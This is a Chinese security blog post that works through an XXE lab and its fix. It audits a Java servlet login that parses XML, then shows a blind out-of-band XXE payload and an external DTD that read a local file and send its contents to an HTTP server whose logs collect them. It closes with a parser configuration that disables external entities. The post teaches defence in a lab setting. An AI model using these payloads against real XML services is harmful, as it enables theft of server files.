扫一扫关注公众号,长期致力于安全研究
最近下了一个xxe-lab靶场来玩,先玩了下php版本的,没啥毛病,但是在玩JAVA版本的时候,就发现了问题....是一个纯Servlet编写的项目,但是环境是eclipse的。
至此小改一下即可。首先根据首页信息得知,通过ajax提交到了doLogin中,
既然原始版本用的servlet整合,那本人也就不在造轮子了,由于创建的是springboot项目,所以直接用注解的形式配置即可
最后在启动类上面,添加@ServletComponentScan注解即可。
简单的代码分析如下,第40-41行获取username和password标签的值,gatValueTagName的实现方法在下方已经贴出,很简单。
gatValueTagName方法如下
接着看上上图43行的代码,可以发现当用户名和密码正确,code标签则为1,而输入的不正确则为0。既然如此,就不需要关注用户名和密码是什么了。同时最后在56行发现,通过response进行内容回显
之后进行测试即可。
无回显利用其实很简单,将回显那行注释掉
之后payload进行更改,这里注意,由于是java环境,所以没有使用php的伪协议。
<!ENTITY % file SYSTEM "file:///d:/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/1.xml">
%dtd;
%send;
]>
<user><username>
321213
</username><password>123213</password></user>
xml文件配置
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://127.0.0.1/a.php?content=%file;'>"> %payload;
之后开启一个apache服务即可,访问之后报错
不要紧,接着查看apache日志即可。
其实有没有a.php文件都不要紧的,最终都会带到日志文件中去。
找了一种修复方法,代码贴下面了
try{
String FEATURE = null;
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
}catch(Exception e){
e.printStackTrace();
}
这里插句嘴~勿喷:最近看到了很多小孩子很浮躁(有种前些年看到helen的感觉了),学点最基础的东西就浮躁。我想说的是,比咱们厉害的师傅们是数不胜数的,应该把目光往上看,思考一下自己与前辈师傅们的差距在哪里。
下方扫一下扫,即可关注
原文始发于微信公众号(安全族):某XXE靶场的审计与修复
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论